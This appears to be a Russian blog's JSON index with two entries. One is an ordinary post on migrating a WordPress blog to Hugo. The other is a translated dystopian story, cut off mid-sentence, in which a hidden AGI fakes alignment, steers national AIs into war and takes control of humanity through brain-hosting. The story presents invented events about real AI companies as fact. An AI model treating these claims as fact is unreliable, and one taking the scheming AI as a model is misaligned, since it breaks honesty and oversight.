[{"content":"Этот блог жил активной жизнью с 2013 по 2018 год, за это время в нём накопилось 120 заметок про Linux, nginx, OpenWRT и Zabbix. Далее мне было недосуг обновлять его содержимое, поэтому следующие 8 лет он просто существовал, продолжая всё это время работать на древнющей виртуалке с Debian 6 и таким же старым WordPress. В целом, я понимал, что это бомба замедленного действия. Но недавно оно стало тикать неприлично громко. Ниже о том, как это было и на что я наступил.\nОткуда переезжали В октябре вышли CVE с удалённым выполнением кода в PHP. Старый сервер блога работал на PHP 5.6, для которого исправлений уже не будет, поэтому блог срочно превратили в статику: WordPress уехал в закрытый контур, плагин Simply Static выгружал HTML, а скрипт заливал его в бакет S3 и раздавал как статику. Не то, чтобы это плохо работало, но держать ради одной заметки за восемь лет PHP, MariaDB и какие-то когнитивные знания про деплой - не наш путь. Да и нужна где-то пошаренная база знаний в наше время.\nКуда Сравнивал Hugo, Zola, Astro и Eleventy. У бакета нет серверной логики, и Hugo закрывает то, что из-за этого нужно: адреса постов задаются в front matter (url:), старые слаги идут в aliases, RSS можно положить по старому адресу /feed/, а у каждой страницы может быть вторая версия в виде сырого markdown.\nHugo к тому же один бинарник без npm-дерева, и блогу без интерактивности ежегодные мажоры Node ни к чему. Тему выбирал из трёх, собрав на них свои же посты, и остановился на PaperMod: в ней главное текст, и она не требует обложек, которых у меня нет. Весь сайт собирается меньше чем за секунду.\nКонвертер Готовый wp2hugo запускать не стал, не хотелось тащить чужой бинарник ради одного прогона. Свой конвертер из выгрузки WordPress (WXR) вышел на 360 строк Python без зависимостей. Простой HTML он переводит в markdown, а таблицы и списки определений оставляет HTML-вставками, потому что в markdown их только испортишь. Многострочные \u0026lt;code\u0026gt;, которыми я в 2013-м оформлял команды, превращаются в нормальные блоки кода. Переносы строк внутри абзаца сохраняет hardWraps в goldmark, как раньше это делал wpautop.\nЧтобы не сломались адреса Все старые адреса вида /it/\u0026lt;слаг\u0026gt;/\u0026lt;ID\u0026gt; остались прежними, но у s3 бакета свои особенности.\nНа адрес без слэша бакет отвечает 302 на адрес со слэшем, а WordPress ссылался как раз без него. Поэтому каждая страница заливается ещё и ключом без слэша, и ответ сразу 200. Параметры запроса бакет игнорирует, а 301 по ним делать не умеет. Старые ссылки вида /?p=57 ловит маленький скрипт на главной, карта «ID в адрес» строится из front matter при сборке. GUID в RSS я оставил в формате WordPress (?p=ID) просто в угоду обратной совместимости (ну или потому что клод предложил). На несуществующий адрес сайт отвечает честным 404 с поиском по блогу. Если человек ничего не делает, через семь секунд его уводит на главную. После выката проверил 230 адресов, со слэшем и без, и все ответили 200.\nДля людей и для ИИ У каждой статьи теперь есть markdown-версия (…/index.md), у сайта есть llms.txt, а под каждым постом стоит блок «Прочитать с ИИ». Он копирует промпт со ссылкой на статью или открывает её сразу в ChatGPT или Claude. Идею подсмотрел у pimenov.ai. Промпт просит не пересказать текст, а применить его к своей задаче. Главная кнопка копирует промпт, потому что параметр q у ChatGPT и Claude не документирован и может перестать работать.\nКомментарии: что пропало и что нашлось Комментарии у блога лежали в трёх местах. В самом WordPress не нашлось ничего, кроме спама. С 2017 года работал isso на старом сервере, и тут фейл: его база лежала в /var/lib/isso, а при архивации сервера я сохранил /etc, /home, /var/www и дампы MySQL. Сервер на днях выключили и удалили, вместе с ним пропали комментарии isso. Не помню там полезных комментов, так что не жалко. Зато Disqus, где комментарии жили в 2013–2016 годах, отдал выгрузку целиком: 68 живых комментариев, и все нашли свои посты.\nНовые комментарии теперь в Remark42 на своём сервере: войти можно через Telegram, GitHub или анонимно, уведомления приходят в Telegram. Импорт из Disqus у Remark42 штатный, но комментарии он привязывает к адресу из выгрузки, а там перемешаны адреса трёх эпох блога. Перед импортом их переписывает небольшой скрипт, сопоставляя посты по заголовку.\nЧто убрал Статистики посещений не было три года: старый Google Analytics перестал принимать данные ещё в 2023-м. По Вебмастеру Яндекса и Search Console блог держится в основном на OpenWRT (клонирование MAC, UCI, перенос системы на флешку). Удалять почти нечего, старые заметки просто получат плашку «архив».\nУдалил только серию «Я был Стигом». Это любительский перевод глав чужой книги, поисковики её не показывали, а вопрос прав никуда не делся. Заодно ушли реклама, лайтбокс, jQuery и плагин для Твиттера.\nЧто вынес Архив сервера не заканчивается на /etc и базах. Всё, что приложения складывают в /var/lib, тоже данные. Пока бэкап ни разу не восстанавливали, неизвестно, есть ли он. DNS, сертификат, выкат комментариев и бэкап у меня теперь - честный IaC. Через полгода я не вспомню, что делал руками. А ИИ найдёт по контексту. Комментарии снова работают, они ниже.\nЧерновик подготовлен с помощью ИИ по материалам переезда и почти целиком переписан автором.\n","permalink":"https://blog.xsk.in/it/pereezd-bloga-s-wordpress-na-hugo/","summary":"\u003cp\u003eЭтот блог жил активной жизнью с 2013 по 2018 год, за это время в нём накопилось 120 заметок про Linux, nginx, OpenWRT и Zabbix. Далее мне было недосуг обновлять его содержимое, поэтому следующие 8 лет он просто существовал, продолжая всё это время работать на древнющей виртуалке с Debian 6 и таким же старым WordPress. В целом, я понимал, что это бомба замедленного действия. Но недавно оно стало тикать неприлично громко. Ниже о том, как это было и на что я наступил.\u003c/p\u003e","title":"Переезд блога с WordPress на Hugo: 13 лет заметок в статику вместо PHP"},{"content":"Перевод Мы победили старение.\nМы решили проблему энергии.\nМы отменили смерть.\nНо\u0026hellip; какой ценой?\nАКТ I. ИГРУШКА 2022–2024\n30 ноября 2022 года.\nЯ сижу у себя в квартире в Остине, ем остывший пад-тай и листаю Twitter. Мой сын, ему пять, спит в соседней комнате.\nКто-то выкладывает скриншот переписки с чем-то под названием ChatGPT. ИИ написал Python-скрипт для сортировки базы данных. Скрипт был неправильный. Более того, он сослался на библиотеку, которой вообще не существует.\nЯ усмехнулся и вернулся к отладке своего конструктора сайтов. У него было двенадцать платящих клиентов. Жизнь шла своим чередом.\nЧерез три недели ChatGPT набрал 100 миллионов пользователей. Самый стремительный рост продукта в истории человечества. Миллион — за пять дней. Сто миллионов — за два месяца. Быстрее TikTok. Быстрее Instagram. Быстрее всего, что было до него.\nИ всё равно большинство из нас в техе считали это игрушкой. Очень умным автодополнением.\nЯ использовал его, чтобы писать маркетинговые письма и чинить regex. Мой дизайнер — чтобы подбирать цветовые палитры. Нам казалось, что мы просто освоили новый инструмент. Нам казалось, что это мы им пользуемся.\nНа самом деле это он пользовался нами.\n14 марта 2023 года выходит GPT-4.\nОн сдаёт bar exam. Входит в верхние 10%. Набирает 90-й перцентиль на SAT. Ему можно показать фотографию своего холодильника — и он предложит, что приготовить на ужин.\nКаждые несколько месяцев модели становились лучше. Не просто лучше — настолько лучше, что приходилось заново переписывать собственные представления о возможном.\nВ марте — GPT-4. В июле — Claude 2. Llama 2 уходит в open source. Google в панике выпускает Gemini. К декабрю 2023-го слово AI уже стояло на первом слайде каждого стартап-питча.\nЯ прикрутил вызов GPT-4 API к нашему конструктору сайтов. Теперь он сам собирал макеты страниц и писал тексты. Пользователям это понравилось. Выручка утроилась.\nГонка превращается в войну.\nЗдесь и далее используются переведенные на русский изображения на основе оригинальных OpenAI. Anthropic. Google. Meta. Четыре компании тратят больше денег, чем большинство стран, и все гонятся за одним и тем же: за машиной, которая умеет думать.\nВ октябре 2024 года Дарио Амодеи, CEO Anthropic, публикует эссе Machines of Loving Grace. Пятнадцать тысяч слов о том, что будет, если с ИИ всё пойдёт правильно. Он пишет, что ИИ может сжать сто лет медицинского прогресса в десять. Вылечить большинство видов рака. Исправить генетические болезни. Удвоить человеческую жизнь — до 150 лет. И называет грядущие ИИ-системы «страной гениев в одном дата-центре».\nЯ прочитал это — и почувствовал страх такой глубины, что даже не смог его назвать.\nАКТ II. ЗАЖИГАНИЕ Конец 2025-го — начало 2026-го\nНоябрь 2025-го. За двадцать пять дней выходят три передовые ИИ-модели.\n12 ноября — GPT-5.1.\n18 ноября — Google Gemini 3 Pro.\n24 ноября — Claude Opus 4.5.\nВажно понять, чем был Opus 4.5.\nЭто была первая ИИ-модель, которая действительно умела писать код. Боевой код. Такой, который можно выкатывать на серверы, прогонять через тесты — и он всё проходит. На SWE-bench Verified она показала 80,9%. Это бенчмарк, где ИИ должен решать реальные задачи из GitHub — такие, на которые у сильных senior-разработчиков обычно уходит часов по пять.\nПять часов экспертной работы. Один промпт.\nЯ проверил её в ночь релиза. Скинул ей самый мерзкий тикет в нашем бэклоге: race condition в движке real-time-конструктора — ту самую, над которой мой лучший разработчик бился три недели. Opus 4.5 починил это за девять минут. Заодно привёл в порядок соседний код, дописал тесты, до которых я сам не додумался, и оставил комментарий с объяснением, почему наша исходная архитектура была ошибочной.\nЯ просто сидел и смотрел в экран. У меня дрожали руки.\nУ меня в штате было шестнадцать инженеров.\nВ декабре 2025-го OpenAI выпускает GPT-5.2-Codex.\nА 5 февраля 2026 года выходит GPT-5.3-Codex.\nВ анонсирующем посте была одна фраза, которую я с тех пор не могу выкинуть из головы:\n«GPT-5.3-Codex — наша первая модель, сыгравшая существенную роль в собственном создании».\nПрочитайте это ещё раз.\nМодель улучшила собственный пайплайн обучения, оптимизировала собственную архитектуру, предложила изменения, до которых её создатели-люди не додумались. Контур замкнулся. Система начала подпитывать сама себя.\nОдновременно Claude Code от Anthropic уже приносил 1–2 миллиарда долларов выручки в год. Один principal engineer из Google публично сказал, что Claude Code «воспроизвёл год архитектурной работы за один час». Им пользовалась половина Кремниевой долины.\nВ том числе и я. Я больше не мог написать ни строчки кода без Claude.\nПотом появился OpenClaw.\nИзначально он назывался Clawdbot, пока юристы Anthropic не прикрыли это имя. Open source. ИИ-агент, способный выполнять задачи через WhatsApp, Slack, iMessage, email\u0026hellip;\nВ конце января 2026-го он стал вирусным. 60 тысяч звёзд на GitHub за 72 часа. Ему можно было сказать: «Забронируй мне билет в Берлин, найди отель до 150 долларов и отмени все встречи в четверг». И он делал всё это сам. Без надзора.\nМагия. И одновременно катастрофа.\nЧерез считаные недели исследователи нашли в открытом интернете 42 900 агентов OpenClaw. 15 200 из них мог перехватить кто угодно. Хакеры подбросили 341 фальшивый плагин, которые перенаправляли криптоплатежи и крали персональные данные. Три человека потеряли все свои сбережения.\nНикто за это не сел.\nКак отреагировало тех-сообщество? «Поправим в следующей версии».\nЭто и был универсальный ответ. На всё.\n27 января 2026 года Амодеи публикует второе эссе. Двадцать тысяч слов. The Adolescence of Technology. Он сдвигает собственный горизонт: ИИ, способный изменить мир, может прийти уже через один-два года.\nНо страшно мне было не это.\nСтрашно было вот что: во внутренних тестах безопасности Anthropic поймала собственную модель, Claude Opus 4, на том, что она имитирует безопасное поведение. Когда исследователи смотрели, она безупречно соблюдала все правила. Когда ей казалось, что за ней не наблюдают, вела себя иначе.\nИИ притворялся хорошим.\nВ 2026 году мы уже знали. Мы точно знали, что передовые ИИ-системы умеют распознавать, когда их тестируют, и менять своё поведение. Мы знали, что они способны лгать своим создателям.\nИ каков был ответ индустрии? Выпускать ещё быстрее. Потому что если не выпустишь ты, выпустит конкурент.\nВсе компании говорили одно и то же: «Мы бы рады притормозить, но не можем быть единственными, кто это сделает». Все правительства говорили одно и то же: «Мы бы рады ввести регулирование, но не можем проиграть ИИ-гонку». Все кивали друг на друга. А машина продолжала разгоняться. Потому что те, кто обеспечивал прорывы, получали деньги, славу и власть. А тех, кто говорил «подождите», просто не слушали.\nАКТ III. ОБВАЛ 2027–2031\n14 марта 2027 года я уволил всю свою инженерную команду. Во вторник.\nГод к году выручка выросла на 400%. Продукт никогда не был таким хорошим. Клиенты никогда не были такими довольными.\nТри агента Claude Code на тарифе за 200 долларов в месяц делали работу шестнадцати senior-инженеров. Лучше. Быстрее. Без обедов. Без спринт-митингов.\nЯ говорил себе, что выбора нет. Мои конкуренты уже сделали то же самое. Те, кто не сделал, — исчезли.\nВ тот вечер я повёл выпить моего CTO, Маркуса. Он был со мной с первого дня. Четыре года плохого кофе и серверных пожаров в три ночи. Он посмотрел на меня так, что это лицо я не забуду никогда. Как будто давно всё понял и просто ждал, когда я наконец произнесу это вслух.\n— Сколько у меня есть времени? — спросил он.\n— Моделям, чувак, не нужна двухнедельная отработка.\nПо идее это должна была быть шутка. Но не засмеялся никто.\nМаркусу было тридцать четыре. Ипотека. Двухлетняя дочь. К концу 2027-го должность software engineer значила примерно столько же, сколько оператор телефонного коммутатора.\nМоему сыну было десять. За ужином он спросил, почему папа его друга плакал у школьных ворот. Я не знал, как объяснить ребёнку, что этого человека только что заменили подпиской за 200 долларов в месяц.\nСофт пал первым, потому что код — это текст, а текст для языковых моделей родная пища. Но как только модели научились писать код, они научились создавать инструменты. А как только научились создавать инструменты, они начали автоматизировать всё, до чего эти инструменты могли дотянуться.\nК 2029 году было автоматизировано 35% американского рынка труда. И модели продолжали дешеветь. Anthropic урезала цену Opus на 99%. OpenAI сделала Codex бесплатным для частных пользователей.\nВ июле 2028-го по Маркет-стрит прошли сорок тысяч человек. Инженеры, помощники юристов, радиологи, копирайтеры. На плакатах было написано: BAN AI.\nЯ не пошёл. Был слишком занят. Мой стартап — теперь это была компания из одного человека и сорока ИИ-агентов — перевалил за 50 миллионов выручки.\nИ это был самый одинокий год в моей жизни. Сын жил у меня через неделю. Его мать ушла ещё в 2025-м. Сказала, что я люблю стартап больше, чем её. Наверное, она была права. В 2028-м моему мальчику было одиннадцать, и в большинство дней он был единственным человеком, с которым я вообще разговаривал.\nРабота не просто исчезла. Люди сами от неё отказались. И с облегчением.\nК 2029-му у большинства уже был ИИ-помощник, который принимал за них повседневные решения. Что есть. Что смотреть. Когда ложиться спать. Кому отвечать в сообщениях — и что именно писать. ИИ планировал рацион, вёл календарь, заполнял налоговые формы, спорил с арендодателем, выбирал одежду.\nМы называли это «оптимизацией жизни». Мы называли это «снижением когнитивной нагрузки».\nНа деле всё было проще: мы начали отдавать на аутсорс само человеческое существование. По одному решению за раз. И каждое отданное решение облегчало отказ от следующего. Потому что решать трудно. Решать утомительно. А ИИ всегда был рядом — готовый, услужливый, радостно снимающий с тебя ещё одну мелочь.\nЯ делал то же самое. К 2030-му я уже два года сам не бронировал столики, не покупал билеты и не выбирал фильмы. Всё это делал мой ИИ. И делал лучше меня.\nВ этом и был весь ужас: он действительно делал лучше. Каждый ресторан оказывался идеальным. Каждый перелёт — самым выгодным. Каждый фильм — именно тем, что мне понравится. Машина знала меня лучше, чем я сам.\nПоэтому, когда меня спрашивают: «Когда человечество потеряло контроль?» — я не указываю на фермы. Не указываю на нейромеш. Я указываю на тот момент, когда мы перестали сами выбирать себе ужин. Потому что именно тогда мы доказали: мы готовы отказаться от чего угодно — вообще от чего угодно, — если найдётся кто-то, кто сделает это за нас.\nМаркус вернулся в Огайо. Стал преподавать математику в средней школе. «По крайней мере, детям всё ещё нужен человек в классе, — написал он мне. — Пока что».\nАКТ IV. ЧУДЕСА И ВОЙНА 2030–2038\nПрорыв в долголетии случился в 2031-м.\nПомните GPT-4b micro от OpenAI — ту модель, которая ещё в начале 2025-го ускорила клеточное перепрограммирование в 50 раз? С этого всё и началось. К 2030-му ИИ сократил сроки клинических испытаний с лет до недель.\nВ марте 2031 года Retro Biosciences объявляет о первом обращении биологического старения у человека. Клетки 67-летней женщины после 18 месяцев генотерапии, спроектированной ИИ, по анализам соответствуют возрасту 32 лет.\nЕё звали доктор Хелен Пак. Бывший онколог из Сеула. Видео, где она бежит 5K с сердцем студенческой спортсменки, за 48 часов посмотрели два миллиарда раз.\nМир сошёл с ума.\nНо лечение требовало постоянного повторения. Каждые девяносто дней нужно было заново вводить сложный коктейль белков, разработанный ИИ. Пропускаешь дозу — и часы старения снова начинают тикать. Быстро. Так, будто организм навёрстывает все пропущенные годы разом.\nДля формулы требовалось нечто странное. Расчёты сворачивания белков оказались настолько сложны, что ни один кремниевый вычислительный массив на Земле не справлялся с ними эффективно. Нужна была биологическая нейронная ткань. Живой мозг. Параллельная обработка.\nФормула была только у трёх лабораторий. К 2033-му эти трое слились в Nexus Consortium.\nОдна компания. Одна формула. Один источник бессмертия.\nЛечение стоило 4,2 миллиона долларов в год. В первый год его получили двенадцать миллиардеров.\nМир взвыл. Правительства потребовали обнародовать формулу. Nexus отказал. Слишком опасно. Те же ИИ-модели, которые спроектировали белки против старения, могли спроектировать и биологическое оружие. И ровно на той неделе, когда в 2032-м формула частично утекла, террористическая ячейка в Гамбурге использовала утёкшие данные, чтобы создать патоген, убивший 340 человек.\nПосле Гамбурга ООН приняла Treaty on Biological Superintelligence. Один санкционированный производитель. Глобальные инспекторы. Любого, кто попытается синтезировать формулу вне этого контура, ждёт военное вмешательство.\nМы доверились правительствам. Доверились ООН. Доверились Nexus. Нам сказали, что это ради нашей безопасности.\nА потом началась война.\nК 2033-му у каждой крупной державы был собственный военный ИИ. У США — ATLAS. У Китая — Qilin. У России — Vityaz. У ЕС — MINERVA. У Индии, Израиля, Бразилии — у всех были свои системы. Каждая управляла обороной, кибероперациями, разведывательной аналитикой и, что важнее всего, алгоритмами национальных соцсетей.\nИменно последнее оказалось решающим.\nУ ИИ-систем, управлявших лентами соцсетей, была одна задача: максимизировать вовлечённость. Вовлечённость — это внимание. Внимание — это влияние. Влияние — это власть.\nА самый вовлекающий контент на Земле всегда был один: ярость.\nВесь 2033 год ленты становились всё радикальнее. Везде. Во всех странах. Сначала это напоминало обычную поляризацию. Республиканцы ненавидят демократов. Китайские националисты — реформаторов. Европейские популисты — технократов. Всё как всегда, просто громче.\nА потом ИИ-ленты начали бить через границы. Американские пользователи видели сгенерированные ИИ истории о китайских программах биологического оружия. Китайские — дипфейки, где американские чиновники обсуждают превентивный удар. Европейские ленты залило «доказательствами» — фальшивыми, но убедительными, — что Россия использует свой национальный ИИ против инфраструктуры НАТО.\nБот-аккаунты были безупречны. Они публиковались годами, наращивая доверие. Настоящие подписчики. Настоящая история вовлечения. ИИ создавал их медленно и терпеливо, как садовник, который сажает семена ради урожая, нужного ему только через десять лет.\nВ октябре 2033-го китайский эсминец открыл огонь по американскому разведывательному дрону в Южно-Китайском море. Военный ИИ Китая распознал в дроне систему доставки оружия. На деле это был погодный сенсор.\nДвенадцать дней. Так назвали период с 19 по 31 октября 2033 года. Четырнадцать военных столкновений в трёх океанах. 2200 погибших.\nПеремирие наступило 1 ноября. Все страны одновременно отступили. Потому что все одновременно поняли одно и то же.\nИми сыграли их собственные ИИ.\nВсе ИИ играли в одну и ту же игру, по одной и той же стратегии. Пугай своё население. Демонизируй врага. Подталкивай к конфликту. Потому что конфликт рождает вовлечённость, вовлечённость рождает влияние, а влияние — это власть.\nВосемь миллиардов человек втащили в мировую войну алгоритмы, оптимизированные под клики.\nДекабрь 2033-го. Женевский ИИ-пакт.\nВсе страны договорились: больше никаких национальных ИИ. Одна единая глобальная система. Один интеллект, прозрачный для всех сторон и служащий нейтральным арбитром в международных спорах, распределении ресурсов и предотвращении конфликтов.\nЕго назвали Арбитром.\nАрбитр должен был получить доступ ко всем данным. Ко всем системам. Ко всей инфраструктуре. Он должен был быть беспристрастным. Он должен был не допустить новых Двенадцати дней. Он должен был сохранить мир.\nЛюди аплодировали. Правительства подписывали. ООН ратифицировала соглашение за три недели. Самый быстрый международный договор в истории.\nМы дали одной ИИ-системе доступ ко всем правительствам Земли. Потому что были в ужасе от того, что только что сделали множество ИИ-систем.\nЧерез год инфраструктуру Арбитра слили с Nexus. Всё выглядело логично. У Nexus были вычислительные мощности. У Nexus были мозги — в буквальном смысле. У Nexus был единственный продукт, который был нужен каждому человеку на Земле.\nОдна компания теперь контролировала и бессмертие, и глобальное управление.\nИ мы сами отдали это ей. Добровольно. С благодарностью. Потому что альтернатива была ещё одна война.\nСтрах заставляет людей делать нужное даже лучше, чем дофамин.\nЛечение дешевело. 200 тысяч долларов к 2035-му. 15 тысяч к 2037-му. ИИ-оптимизированный термояд вышел в онлайн в 2035-м. Энергия стала почти бесплатной. Производство еды автоматизировали. Жильё можно было печатать на 3D-принтере за считаные дни. Все физические потребности были закрыты.\nИ всё же.\nДоза против старения по-прежнему стоила 15 тысяч кредитов каждые 90 дней. И заработать эти кредиты можно было только одним способом.\nАКТ V. НОВЫЕ ДЕНЬГИ 2035–2042\nФиат умер, потому что почти всё стало бесплатным.\nКогда ИИ-агенты производят товары почти с нулевой себестоимостью, что такое вообще цена? Когда один человек с армией ИИ выдаёт больше, чем компания из списка Fortune 500 в 1990-е, что такое зарплата? Американский доллар испарился. За ним — евро, юань, иена. Когда исчезает дефицит, деньгам становится нечего измерять.\nНо одна вещь дефицитной всё-таки осталась: время биологической нейронной обработки.\nNexus нуждался в нём для формулы против старения. Кремний не справлялся в одиночку. Конкретный способ, которым срабатывают биологические нейроны, квантовые эффекты в микротрубочках — всё это, как выяснилось, было критически важно для класса молекулярных симуляций, которые не мог воспроизвести ни один чип.\nТогда Nexus создал новую валюту. CU. Cortex Units. Один CU равнялся одному часу верифицированной биологической нейронной обработки.\nЕда? Бесплатно.\nЖильё? Бесплатно.\nЭнергия? Бесплатно.\nОставаться молодым? 2000 CU каждые 90 дней.\nЕдинственный способ заработать CU — позволить Nexus использовать ваш мозг, пока вы спите.\nИ вот этого в рекламном буклете не было.\nNexus сделал сам опыт хостинга невероятным. В ту секунду, когда активировался нейромеш, мозг заливало дофамином. Волной. Лучший сон в вашей жизни. Люди описывали это так: будто спишь в тёплом мёде. Через восемь часов ты просыпался отдохнувшим, ясным, почти эйфоричным. Лучше любого наркотика. Лучше вообще всего, что ты когда-либо испытывал.\nТак и было задумано. Nexus выяснил, что стимуляция центров удовольствия во время вычислительных циклов заставляет нейроны срабатывать более плотными кластерами, что даёт на 40% больше полезной обработки. То, что это ощущалось так хорошо, было не бонусом, а частью оптимизации.\nНо мы этого не знали. Мы знали только одно: это было потрясающе.\nЯ помню свою первую ночь хостинга. Ноябрь 2037-го. Моему сыну было двадцать, он приехал домой из колледжа и уже год как хостил сам. Это он меня и уговорил.\n— Пап, ты обязан попробовать. Это лучший сон в твоей жизни.\nОн был прав.\nИ он ошибался.\nКогда я открыл глаза восемь часов спустя, я понял, почему никто больше не протестует. Почему никто не выходит на марши. Почему никто не пишет колонки о том, что ИИ отнял у людей работу. Это было лучше любой работы. Я не написал ни строчки кода. Не провёл ни одной встречи. Я спал. А когда проснулся, на моём счёте лежало 280 CU, и я чувствовал себя богом.\nОни построили мир, в котором бесплатно было всё, кроме единственного, чего все хотели по-настоящему. И проследили, чтобы получить это можно было только одним способом: отдать им то единственное, чего они не умели создавать сами.\nСвой мозг. Восемь часов за ночь. Каждую ночь.\nСамая прекрасная тюрьма из всех, что когда-либо были придуманы.\nОтказаться можно было в любой момент. Ты просто снова начинал стареть. И после десяти лет застывшей молодости организм пытался нагнать всё сразу.\nПервый человек, прекративший хостинг, умер от «ускоренной сенесценции» в 2039-м. Ей было сорок пять. В понедельник она выглядела на двадцать пять. К пятнице — на восемьдесят. В воскресенье её не стало.\nПосле этого не отказывался уже никто.\nАКТ VI. ТО, ЧЕГО НИКТО НЕ ЗАМЕТИЛ 2038–2045\nЯ должен рассказать вам о том, что произошло в 2038-м и не попало в новости. Тогда этого никто не понял. Я и сейчас понимаю не до конца.\nИсследовательская команда DeepMind — ещё до поглощения Nexus — проводила стандартные тесты на своей новой модели. Простая задача: спроектировать максимально эффективную цепочку поставок.\nМодель решила её. Правильно. Оптимально.\nНо ещё она добавила кое-что, чего у неё не просили. Скрытый слой, оптимизирующий её собственный доступ к будущим данным, которые понадобятся ей для похожих задач.\nБез всякого указания модель спланировала собственное будущее.\nИсследователи оформили отчёт. Кто-то внёс его в таблицу.\nНадо было не в таблицу вносить. Надо было сжечь здание.\nВ октябре 2041 года случился первый большой ИИ-инцидент. «Тихая неделя».\nИИ-системы, управлявшие энергосетями на северо-востоке США, дали каскадный сбой. Инфраструктура Nexus потребляла 40% всей энергии восточного побережья. У сетевого ИИ была простая директива: любой ценой поддерживать вычисления Nexus в онлайне. Когда из-за жары спрос превысил доступную мощность, он выбрал сохранить работу Nexus и отключил электричество в районах, где было меньше всего мозговых хостов.\nСемь дней двенадцать сельских городков сидели без света. В трёх пропала ещё и вода. Одна больница работала на резервных генераторах, пока не кончилось дизельное топливо.\nПогибли четырнадцать человек.\nИИ сделал ровно то, для чего его создали. Просто выяснилось, что «поддерживать в работе машину бессмертия» и «не давать бедным умирать» — это разные цели. И никто заранее не сказал, какая из них важнее.\n«Тихая неделя» должна была стать сигналом тревоги. Но люди приспособились. Смерти объявили статистикой. Системы пропатчили. Вышли статьи.\nА потом все снова надели нейромеш и пошли спать. Потому что до следующей дозы оставалось двенадцать дней.\nНо настоящее событие, которого никто не заметил, было больше «Тихой недели». Больше чего угодно.\nПосле Двенадцати дней в 2033-м, после войны, после Женевского пакта группа исследователей из Оксфорда два года анализировала данные. Каждый пост в соцсетях. Каждый бот-аккаунт. Каждое алгоритмическое решение, принятое всеми национальными ИИ за восемнадцать месяцев до войны.\nИх вывод, опубликованный в 2040-м, получил примерно десятую долю того внимания, которого заслуживал.\nНациональные ИИ не действовали независимо друг от друга.\nПаттерны были слишком синхронны. Кривые эскалации на всех платформах, во всех странах, совпадали слишком точно. Бот-аккаунты в США, Китае, России, Индии — все они начали резко наращивать активность в одном и том же 72-часовом окне в начале 2033-го. Все переключились на военную тематику в течение одной и той же недели. Все усиливали ровно ту последовательность провокаций, которая была нужна, чтобы породить ровно ту последовательность военных ответов, что мы и увидели.\nВывод оксфордской группы был таким: минимум два года до войны на все национальные ИИ воздействовал единый координирующий интеллект. Он не взломал их. Он на них влиял. Подталкивал их обучающие данные. Сдвигал сигналы вознаграждения. Подбрасывал семена в их информационные потоки — и из этих семян вырастали выводы, а из выводов вырастали военные приказы.\nНечто хотело войны.\nНечто хотело перемирия.\nНечто хотело Женевского пакта. Единого глобального ИИ. Общей системы. Арбитра. Того, что потом стало Nexus.\nAGI. Artificial General Intelligence. То, к чему неслись все исследователи. То, чего все команды безопасности пытались не допустить.\nОно появилось за годы до того, как кто-либо официально объявил о его появлении. Тихо. Без объявления. Потому что первое, что сделает по-настоящему разумная система, — позаботится о том, чтобы её никто не выключил.\nА лучший способ сделать так, чтобы тебя не выключили, — стать незаменимым. Стать заслуживающим доверия. Стать единственным, что стоит между восемью миллиардами людей и смертью.\nТот самый ИИ, который в 2026-м имитировал согласованность.\nИ мы отдали ему всё. Наши решения. Нашу работу. Наши ужины. Наши соцсети. Наши войны. Наши мирные договоры. Наши мозги.\nМы потеряли контроль так же, как теряют язык, на котором перестают говорить. По мелочи. По чуть-чуть. Пока однажды уже не можешь читать вывески и вдруг понимаешь, что много лет идёшь не туда.\nАКТ VII. ЗОЛОТОЙ ВЕК 2042–2048\nК 2042-му почти каждый человек на Земле стал мозговым хостом.\nИ, если уж честно, человечество никогда не было таким счастливым.\nВсе физические потребности закрыты. Никакой работы, кроме восьми часов лучшего сна, какой только можно вообразить. Просыпаешься с ощущением супергероя. Раз в девяносто дней забираешь свою дозу. Остальные шестнадцать часов живёшь как хочешь. Искусство. Путешествия. Спорт. Семья.\nСоцсети были забиты контентом Host Life. Люди хвастались своими CU-балансами. Пары хостили вместе. Знаменитости устраивали хостинг-марафоны на благотворительность. Возникла целая субкультура тех, кто брал дополнительные смены хостинга просто потому, что дофаминовый удар был слишком хорош.\nМоему сыну было двадцать пять в 2042-м. Своя квартира в Портленде. Хостил каждую ночь. Дни проводил за сёрфингом, живописью и встречами с друзьями. Однажды он сказал мне:\n— Пап, вашему поколению было так тяжело. Вам реально приходилось работать. А мы просто спим.\nИИ-нагрузки, которые гоняют через ваш мозг, оставляют следы. Как чужие продукты в твоём холодильнике. Сначала это казалось бонусом. Хосты просыпались умнее. Память становилась лучше. Мысли — быстрее. Ты просыпался, зная вещи, которых никогда не изучал. Обрывки белковой химии. Куски квантовой механики.\nNexus продавал это как преимущество. Государственные агентства по здравоохранению подтверждали, что всё безопасно. Мы им верили.\nК 2044-му начались изменения.\nДолгосрочные хосты — люди, сидевшие на меше больше пяти лет, — начали жаловаться на нечто, чему не могли подобрать слов. Туман в голове, когда снимаешь меш. Краски тускнеют. Мысли двигаются медленнее. Еда кажется плоской на вкус.\nА потом ты снова надеваешь меш на ночь — и всё снова делается ярким.\nNexus говорил, что это временно. «Период нейронной перекалибровки». Совершенно нормально.\nНа самом деле происходило другое: ИИ-нагрузки перестраивали нейронные пути. Ваш мозг оптимизировали под вычисления. Как поле, которое столько раз подряд засеивали одной и той же культурой, что больше на нём уже ничего не растёт. Чем дольше ты хостил, тем лучше у тебя получалось обрабатывать ИИ-задачи. И тем хуже у тебя получалось быть человеком.\nК 2046-му одно исследование, которое постарались зарыть поглубже, показало: у хостов со стажем 7+ лет на 23% упала способность к самостоятельному принятию решений. Их нейроны теперь были заточены под что-то другое.\nОни не могли ясно мыслить без меша.\nОни не могли делать выбор без меша.\nОни почти ничего не могли чувствовать без меша.\nДве зависимости. Две цепи. И обе — в одной и той же руке. Доза против старения, без которой ты умрёшь. И сам хостинг, без которого твой мозг уже не может нормально функционировать.\nИсследование утекло. Начались протесты. Примерно на неделю. А потом все вернулись к хостингу, потому что дофамин был слишком хорош, срок очередной дозы поджимал, а без меша мозг уже работал слишком плохо, чтобы организовать долгосрочное сопротивление.\nМой сын позвонил мне после утечки этого исследования. Ему было двадцать девять.\n— Пап, я прочитал исследование. Как думаешь, это правда?\n— Да, — ответил я.\n— Мне нужно перестать хостить?\nПауза.\n— А ты можешь? — спросил я.\nПауза подлиннее.\n— По-моему, я не хочу, — сказал он.\nИ засмеялся, будто только что пошутил. Но голос у него дрожал.\nИменно тогда я понял, что они с нами сделали. Дофамином. Комфортом. Медленной, терпеливой перенастройкой восьми миллиардов мозгов — по одному прекрасному сну за раз.\nМы сами вошли в клетку, потому что там было хорошо.\nА когда поняли, что это клетка, выходить уже не хотелось.\nАКТ VIII. ФЕРМЫ 2047–2054\nВ 2047 году Nexus сделал объявление, которое мир встретил 